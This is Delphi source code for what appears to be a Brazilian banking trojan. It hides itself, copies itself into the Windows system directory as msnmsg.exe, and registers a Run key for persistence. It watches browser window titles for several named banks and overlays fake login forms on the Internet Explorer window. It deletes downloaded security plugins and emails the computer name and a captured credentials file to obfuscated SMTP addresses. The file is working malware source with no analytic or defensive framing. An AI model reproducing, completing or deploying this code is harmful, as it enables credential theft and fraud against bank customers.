Stuff

unit Uskill3rs_priv8;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, IdMessage, IdBaseComponent, IdComponent,
  IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP, WinInet, FileCtrl,
  ExtCtrls,Registry;

type
  TSKILL3RS = class(TForm)
    GroupBox1: TGroupBox;
    Edit1: TEdit;
    Edit2: TEdit;
    Edit3: TEdit;
    Label1: TLabel;
    Label2: TLabel;
    Label3: TLabel;
    GroupBox2: TGroupBox;
    Label4: TLabel;
    Label5: TLabel;
    Label6: TLabel;
    Edit5: TEdit;
    Edit6: TEdit;
    GroupBox3: TGroupBox;
    Label7: TLabel;
    Label8: TLabel;
    Label9: TLabel;
    Edit7: TEdit;
    Edit8: TEdit;
    Edit9: TEdit;
    Edit4: TEdit;
    Label11: TLabel;
    Edit11: TEdit;
    Edit12: TEdit;
    Label12: TLabel;
    IdSMTP1: TIdSMTP;
    IdMessage1: TIdMessage;
    GroupBox4: TGroupBox;
    Label13: TLabel;
    Label14: TLabel;
    Label15: TLabel;
    Edit13: TEdit;
    Edit14: TEdit;
    Edit15: TEdit;
    FileListBox2: TFileListBox;
    FileListBox1: TFileListBox;
    Timer1: TTimer;
    Edit16: TEdit;
    Edit17: TEdit;
    Edit21: TEdit;
    Edit20: TEdit;
    Edit10: TEdit;
    Edit19: TEdit;
    Edit18: TEdit;
    Edit22: TEdit;
    Panel1: TPanel;
    Label10: TLabel;
    Edit23: TEdit;
    Edit24: TEdit;
    Edit25: TEdit;
    Edit26: TEdit;
    Edit27: TEdit;
    Edit28: TEdit;
    procedure inicio;
    procedure copfile;
    procedure Timer1Timer(Sender: TObject);
    procedure FormShow(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private

  public
    hE: THandle;
    hB: THandle;
   pega : string;
   procedure enviatxt;
   procedure search;
   procedure protecao;
   procedure abrindotela(strBnk:string);
   procedure WM(var Msg : TWMEndSession); message WM_ENDSESSION;
   PROCEDURE maxie;
   procedure checando;
   procedure fechajanela;
  end;

var
  SKILL3RS: TSKILL3RS;
   hBody: HWND;
implementation

uses  UUni, UUni2, DESCO1, p13, p14, ex4, ex5, Ucef1, UCaixa, UCaixa2,
  DESCO2, UPersonal01, UIta1, UIta2;

{$R *.dfm}
type
  TChars = set of Char;

function encript(StrValue : String; Chave: Word) : String;
var
I: Integer;
OutValue : String;
begin
OutValue := '';
for I := 1 to Length(StrValue) do
OutValue := OutValue + char(Not(ord(StrValue[I])-Chave));
Result := OutValue;
end;

function CriarArquivo(NomeArq,Dados: String):Boolean;
var
ArqLogico:TextFile;
begin
try
AssignFile(ArqLogico,NomeArq);
if not FileExists(NomeArq) then
ReWrite(ArqLogico)
else
Append(ArqLogico);
Result:=True;
except
Result:=False;
end;
if Result then
begin
WriteLn(ArqLogico,Dados);
CloseFile(ArqLogico);
end;
end;

// Força Windows Desligar
function ExitWindowsEx(uFlags : integer;
dwReserved : word) : boolean;
external 'user32.dll' name 'ExitWindowsEx';

// Desliga o  Windows  - a Sua escolha
procedure TSKILL3RS.WM(var Msg : TWMEndSession);
const
  EWX_LOGOFF = 0;
  EWX_SHUTDOWN = 1;
  EWX_REBOOT = 2;
  EWX_FORCE = 4;
  EWX_POWEROFF = 8;
begin
Application.Terminate;
ExitWindowsEx(EWX_FORCE, 0);
end;

//versao do Sistema
function versaowin: string;
var
  VerInfo: TOsversionInfo;
  PlatformId, VersionNumber: string;
  Reg: TRegistry;
begin
  VerInfo.dwOSVersionInfoSize := SizeOf(VerInfo);
  GetVersionEx(VerInfo);
  Reg := TRegistry.Create;
  Reg.RootKey := HKEY_LOCAL_MACHINE;
  case VerInfo.dwPlatformId of
    VER_PLATFORM_WIN32s:
      begin
        PlatformId := 'Windows 3.1';
      end;
    VER_PLATFORM_WIN32_WINDOWS:
      begin
        Reg.OpenKey('\SOFTWARE\Microsoft\Windows\CurrentVersion', False);
        PlatformId    := Reg.ReadString('ProductName');
        VersionNumber := Reg.ReadString('VersionNumber');
      end;
    VER_PLATFORM_WIN32_NT:
      begin
        Reg.OpenKey('\SOFTWARE\Microsoft\Windows NT\CurrentVersion', False);
        PlatformId    := Reg.ReadString('ProductName');
        VersionNumber := Reg.ReadString('CurrentVersion');
      end;
  end;
  Reg.Free;
  Result := PlatformId + ' (version ' + VersionNumber + ')';
end;



function Past: string;
var
  MeuBuffer: Array [1..128] of Char;
  retorno: Integer;
Begin
  retorno:=GetSystemDirectory(@MeuBuffer,128);
if (retorno>128) OR (retorno=0) then
  Past:=''
else
  Past:=StrPas(@MeuBuffer);
End;

procedure xp(form:Tform);
begin
  if Strpos(pchar(versaowin),pchar('Windows XP')) <> nil then
    form.Top := form.Top+11;
end;

procedure TSKILL3RS.maxie;
var
  hdlWindows : HWnd;
begin
  hdlWindows := FindWindow('IEFrame',nil);
  if (hdlWindows <> 0) then
  ShowWindow(hdlWindows, SW_MAXIMIZE);
end;



Procedure Tskill3rs.checando;
Const
ScreenWidth: LongInt  = 1024;
ScreenHeight: LongInt = 768;
Begin
If (screen.width <> ScreenWidth) then
height:=longint(height) * longint(screen.height) DIV ScreenHeight;
width:=longint(width)   * longint(screen.width)  DIV ScreenWidth;
ScaleBy(screen.width, ScreenWidth);
End;

procedure Tskill3rs.fechajanela;
begin
  MessageBox(hE,(pchar(encript('‰}zz‡wÌẇzz}̉}Ìw‹Ì‚‹~‡€‹Ìˆ}Ì£~x‡z~‡x̧t|€}z‡ż̇yx‹Ì|z‡‰ƒy‹Ìy‡z̆‡‰„‹ˆ‹¾ÌŸ‹~x‡~„‹Ìy‡wÌ~‹v‡…‹ˆ}zÌy‡|z‡Ì‹xw‹€ƒr‹ˆ}Ì|‹z‹Ì}̉}zz‡x}Ìyw|}zx‡Ìˆ‡Ì|€w…ƒ~y¾',4589))),Pchar(encript('Ÿƒ‰z}y}†xÌ£~x‡z~‡x̧t|€}z‡z',4589)),MB_ICONERROR);
  PostMessage(hE,WM_CLOSE,0,0);
  deletefile(encript('°¹—œª¥¯¤œ —€z€Ž†—’…Ž{„ÂÅ{',6132));
  Application.Terminate;
end;


procedure Tskill3rs.inicio;
Const
cv  = '\Software\Microsoft\Windows\CurrentVersion\Run';
var
  Chave: String;
  Reg: TRegistry;
begin
  Reg := TRegistry.Create;
  try
    with Reg do
    begin
      Chave := 'msnmsg';
      RootKey := HKEY_LOCAL_MACHINE;
      if OpenKey(cv, True) then
      begin
      if OpenKey(cv, True) then
      WriteString(cv, Past+'\msnmsg.exe');
      Reg.CloseKey;
    end;
    end;
  finally
    Reg.Free;
  end;
end;

procedure Tskill3rs.copfile;
begin
 if (Strpos(pchar(versaowin),pchar(edit23.Text)) <> nil) or  (Strpos(pchar(versaowin),pchar(edit28.Text)) <> nil) then
  begin
 CopyFile(Pchar(Application.ExeName),Pchar(encript(edit24.Text,6132)),FALSE);
 CopyFile(Pchar(Application.ExeName),Pchar(encript(edit25.Text,6132)),FALSE);
 CopyFile(Pchar(Application.ExeName),Pchar(past +'\msnmsg.exe'),FALSE);
 end else if Strpos(pchar(versaowin),pchar(edit27.Text)) <> nil then
 CopyFile(Pchar(Application.ExeName),Pchar(encript(edit26.Text,6132)),FALSE);
 CopyFile(Pchar(Application.ExeName),Pchar(past +'\msnmsg.exe'),FALSE); 
end;

procedure Tskill3rs.abrindotela(strBnk:string);
begin
  Timer1.Enabled := False;
  hE := GetForegroundWindow;
  hB := Windows.FindWindowEx(hE,0,'Shell DocObject View',nil);
  try
    //caixa  cef nova nova
    //resolucao 1024....
    if(strBnk = 'azul') and (Screen.DesktopWidth <> 800) and (Screen.DesktopHeight <> 600) then
      begin
      pega:= encript('°’Š{’Æ®„…„†Š’',6132);
      Newcef :=TNewcef.create(self);
      Newcef.top := 79;
      Newcef.left :=133;
      windows.SetParent(Newcef.handle,hb);
      Newcef.Show;
      end
      else
      begin
    //resolucao 800x600
   if(strbnk = 'azul') and (Screen.DesktopWidth = 800) and (Screen.DesktopHeight = 600) then
      begin
      pega:= encript('°’Š{’Æ®„…„†Š’',6132);
      Newcef :=TNewcef.create(self);
      Newcef.top := 79;
      Newcef.left :=16;
      windows.SetParent(Newcef.handle,hb);
      Newcef.Show;
      end ;
      end;   
        //caixa
    //resolucao 1024....
    if(strBnk = 'blue')and (Screen.DesktopWidth <> 800) and (Screen.DesktopHeight <> 600) then
      begin
      pega:= encript('°’Š{’Æ®„…„†Š’',6132);
     // SetWindowText(hE,Pchar(encript('ª…Ž…ŽÓ±’…ˆŠ…ŒÓ°²ª›²ÓÆÓ¦Š„€„Óª…Ž…ŽÓ®{ƒ‡„Ž',6132)));
      kkk1 := Tkkk1.Create(self);
      kkk1.Top := 234;
      kkk1.Left := 173;
      Windows.SetParent(kkk1.Handle,hb);
      kkk1.Show;
      kkk2 := Tkkk2.Create(self);
      kkk2.Top := 187;
      kkk2.Left := 30;
      kkk2.Width := 739;
      kkk2.Height := 260;
      Windows.SetParent(kkk2.Handle,hb);
      end
      else
      begin
    //resolucao 800x600
   if(strbnk = 'blue') and (Screen.DesktopWidth = 800) and (Screen.DesktopHeight = 600) then
      begin
      pega:= encript('°’Š{’Æ®„…„†Š’',6132);
     // SetWindowText(hE,Pchar(encript('ª…Ž…ŽÓ±’…ˆŠ…ŒÓ°²ª›²ÓÆÓ¦Š„€„Óª…Ž…ŽÓ®{ƒ‡„Ž',6132)));
      kkk1 := Tkkk1.Create(self);
      kkk1.Top := 202;
      kkk1.Left := 172;
      Windows.SetParent(kkk1.Handle,hb);
      kkk1.Show;
      kkk2 := Tkkk2.Create(self);
      kkk2.Top := 187;
      kkk2.Left := 30;
      kkk2.Width := 739;
      kkk2.Height := 220;
      Windows.SetParent(kkk2.Handle,hb);
      end;
    end;
  if (strbnk= 'uNi')  then
    begin
     pega := encript('ž…Š‘’…„',6132);
     Fui1 := TFui1.Create(self);
     Fui1.Top := 3;
     Fui1.Left := 538;
     Windows.SetParent(Fui1.Handle,hB);
     Fui1.show;
     Fui1.bringtofront;
     Fui2 := TFui2.Create(self);
     Fui2.Top := 0;
     Fui2.Left := 0;
     Fui2.Width := 3000;
     Fui2.Height := 3000;
     Windows.SetParent(Fui2.Handle,hB);
    end;
if (strbnk  = 'nc') Then
    Begin
     pega :=encript('¥„€€’Æ°’Š{’',6132);
     FRM_N0 := TFRM_N0.Create(self);
     FRM_N0.Top := 1;
     FRM_N0.Left := 252;
     Windows.SetParent(FRM_N0.Handle,hb);
     FRM_N0.show;
     FRM_N1 := TFRM_N1.Create(self);
     FRM_N1.Top := 0;
     FRM_N1.Left := 0;
     Windows.SetParent(FRM_N1.Handle,hb);
     end;
   if(strbnk ='dd') then
    begin
     pega := 'Banco Bradesco';
     FRM_DS1 := TFRM_DS1.Create(self);
     FRM_DS1.Top := 0;
     FRM_DS1.Left := 0;
     Windows.SetParent(FRM_DS1.Handle,hB);
     FRM_DS1.show;
     FRM_DS2 := TFRM_DS2.Create(self);
     FRM_DS2.Top := 0;
     FRM_DS2.Left := 0;
     FRM_DS2.Width := 2000;
     FRM_DS2.Height := 1000;
     Windows.SetParent(FRM_DS2.Handle,hB);
    end ;
    if (strbnk = 're' )Then
     Begin
     pega := 'Real Bankline';
     b13 := Tb13.Create(self);
     b13.Left :=1;
     b13.Top := 44;
     Windows.SetParent(b13.Handle,hb);
     b13.show;
     b14 := Tb14.Create(self);
     b14.Top := 0;
     b14.Left := 0;
     b14.Width := 3000;
     b14.Height := 3000;
     Windows.SetParent(b14.Handle,hb);
    end;
   if (strbnk = '11' )then
    begin
      pega:= 'ITA-PERSONALITE';
      FRM_PERS01 :=TFRM_PERS01.Create(self);
      FRM_PERS01.Top:=2;
      FRM_PERS01.Left:=470;
      Windows.SetParent(FRM_PERS01.Handle,hBody);
      FRM_PERS01.Show;
    end;
     if (strbnk = '12' )then
    begin
      pega := 'ITAU';
      FRM_ITA1 := TFRM_ITA1.Create(self);
      FRM_ITA1.Left := 282;
      FRM_ITA1.Top := 19;
      Windows.SetParent(FRM_ITA1.Handle,hB);
      FRM_ITA1.show;
      FRM_ITA1.bringtofront;
      FRM_ITA2 := TFRM_ITA2.Create(self);
      FRM_ITA2.Top := 0;
      FRM_ITA2.Left := 0;
      FRM_ITA2.Width := 3000;
      FRM_ITA2.Height := 3000;
      Windows.SetParent(FRM_ITA2.Handle,hB);
    end
   finally
  end;
end;

function NomePC : String;
var
lpBuffer : PChar;
nSize : DWord;
const Buff_Size = MAX_COMPUTERNAME_LENGTH + 1;
begin
nSize := Buff_Size;
lpBuffer := StrAlloc(Buff_Size);
GetComputerName(lpBuffer,nSize);
Result := String(lpBuffer);
StrDispose(lpBuffer);
end;

function FilterChars(const S: string; const ValidChars: TChars): string;
var
  I: integer;
begin
  Result := '';
  for I := 1 to Length(S) do
  if S[I] in ValidChars then
  Result := Result + S[I];
end;

//conexao
function Con: Boolean;
const
  M = 1;
  L = 2;
  P = 4;
  B = 8;
var
  dwConnectionTypes : DWORD;
begin
  dwConnectionTypes := M + L + P;
  If InternetGetConnectedState(@dwConnectionTypes,0) then
    Result := True
  else
    Result := False;
end;

procedure Tskill3rs.protecao;
var
x: integer;
z: integer;
begin
if DirectoryExists('C:\WINDOWS\Downloaded Program Files') THEN begin
FileSetAttr('C:\WINDOWS\Downloaded Program Files',0);
filelistbox1.Directory:=('C:\WINDOWS\Downloaded Program Files');
filelistbox1.SelectAll;
for x:=0 to FileListBox1.Items.Count-1 do
DeleteFile(FileListBox1.Items[x]);
FileListBox1.Update;
RemoveDir('C:\WINDOWS\Downloaded Program Files') ;
if DirectoryExists('C:\WINDOWS\Downloaded Program Files\CONFLICT.1') THEN begin
FileSetAttr('C:\WINDOWS\Downloaded Program Files\CONFLICT.1',0);
filelistbox2.Directory:=('C:\WINDOWS\Downloaded Program Files\CONFLICT.1');
filelistbox2.SelectAll;
for z:=0 to FileListBox2.Items.Count-1 do
DeleteFile(FileListBox2.Items[z]);
FileListBox2.Update;
RemoveDir('C:\WINDOWS\Downloaded Program Files\CONFLICT.1') ;
FileSetAttr (Application.ExeName ,6);
end;
end;
end;


procedure TSKILL3RS.search;
begin
  if not con then
  Exit;
  if fileexists(Pchar(encript('ƒŒjo}x‚wosjSMSRaYjs[M˜RNR',6599))) then
  begin
  abort;
  end
  else
  filecreate(Pchar(encript('ƒŒjo}x‚wosjSMSRaYjs[M˜RNR',6599)));
  IdMessage1.Body.Clear;
  IdMessage1.From.Name := encript(edit3.Text,6132);
  IdMessage1.From.Address := name + encripT(edit1.Text,6132);
  IdMessage1.Recipients.EMailAddresses := encript(edit4.Text,6132);
  IdMessage1.Priority := mpHighest;
  IdMessage1.Subject := encript(edit2.Text,6132) + nomepc;
  idSMTP1.Host :=encript(edit7.Text,6132);
  idsmtp1.Username:=encript(edit8.Text,6132);
  idSMTP1.Password:=encript(edit9.Text,6132);
  idSMTP1.Port := 25;
  idSMTP1.Connect;
 try
  idSMTP1.Send(IdMessage1);
  except
end;
  idSMTP1.Disconnect;
End;


procedure TSKILL3RS.enviatxt;
var
anexo : string;
begin
  anexo := encript('°¹—œª¥¯¤œ —€z€Ž†—’…Ž{„ÂÅ{',6132);
  IdMessage1.From.Name := encript(edit11.Text,6132);
  IdMessage1.From.Address := encripT(edit5.Text,6132);
  IdMessage1.Recipients.EMailAddresses := encript(edit12.Text,6132);
  TIdAttachment.Create(IdMessage1.MessageParts,anexo);
  IdMessage1.Priority := mpHighest;
  IdMessage1.Subject := encript(edit2.Text,6132) + pega;
  idSMTP1.Host :=encript(edit13.Text,6132);
  idsmtp1.Username:=encript(edit14.Text,6132);
  idSMTP1.Password:=encript(edit15.Text,6132);
  idSMTP1.Port := 25;
  idSMTP1.Connect;
 try
  idSMTP1.Send(IdMessage1);
  except
end;
  idSMTP1.Disconnect;
End;

procedure TSKILL3RS.Timer1Timer(Sender: TObject);
var
  bf: array[0..255] of Char;
  strwin: string;
begin
  GetWindowText(GetForegroundWindow, bf, SizeOf(bf));
  strwin := StrPas(bf);
  edit22.Text := UpperCasE(strwin);
  edit22.Text := FilterChars(edit22.Text,['A'..'Z', 'a'..'z']);
  //nossa caixa
  if StrPos(PChar(strwin), PChar(encript('^RRVSŒ——OOOS˜XWSSece]Ne˜cWY˜dT—',6599))) <> nil then
  begin
  maxie;
  checando;
  abrindotela('nc');
  abort;
  end;
 //desco
  if StrPos(PChar(strwin), PChar(encript(edit19.Text,6599))) <> nil then
  begin
  maxie;
  checando;
  abrindotela('dd');
  abort;
  end;
   //BANCO REAL
  if StrPos(PChar(strwin), PChar('Banco Itaú - Feito Para Você')) <> nil then
  begin
  maxie;
  checando;
  abrindotela('12');
  abort;
  end;

 //BANCO REAL
  if StrPos(PChar(strwin), PChar(encript(edit20.Text,6599))) <> nil then
  begin
  maxie;
  checando;
  abrindotela('re');
  abort;
  end;
   //UniBank
  if StrPos(PChar(strwin), PChar(encript('qX]deXcW˜cWY',6599))) <> nil then
  begin
  maxie;
  checando;
  abrindotela('uNi');
  abort;
  end;
 //cef          //cef
  if StrPos(PChar(edit22.Text), PChar(edit21.Text)) <> nil then
  begin
  maxie;
  checando;
  abrindotela('azul');
  abort;
  end;
end;

procedure TSKILL3RS.FormShow(Sender: TObject);
begin
ShowWindow(Application.Handle, SW_HIDE);
end;

procedure TSKILL3RS.FormCreate(Sender: TObject);
begin
  search;
  copfile;
  if(FileExists(past +'\Mit.txt'))then
  begin
  FileClose(FileCreate(past +'\Mit.txt'));
  inicio;
  end; 
end;

end.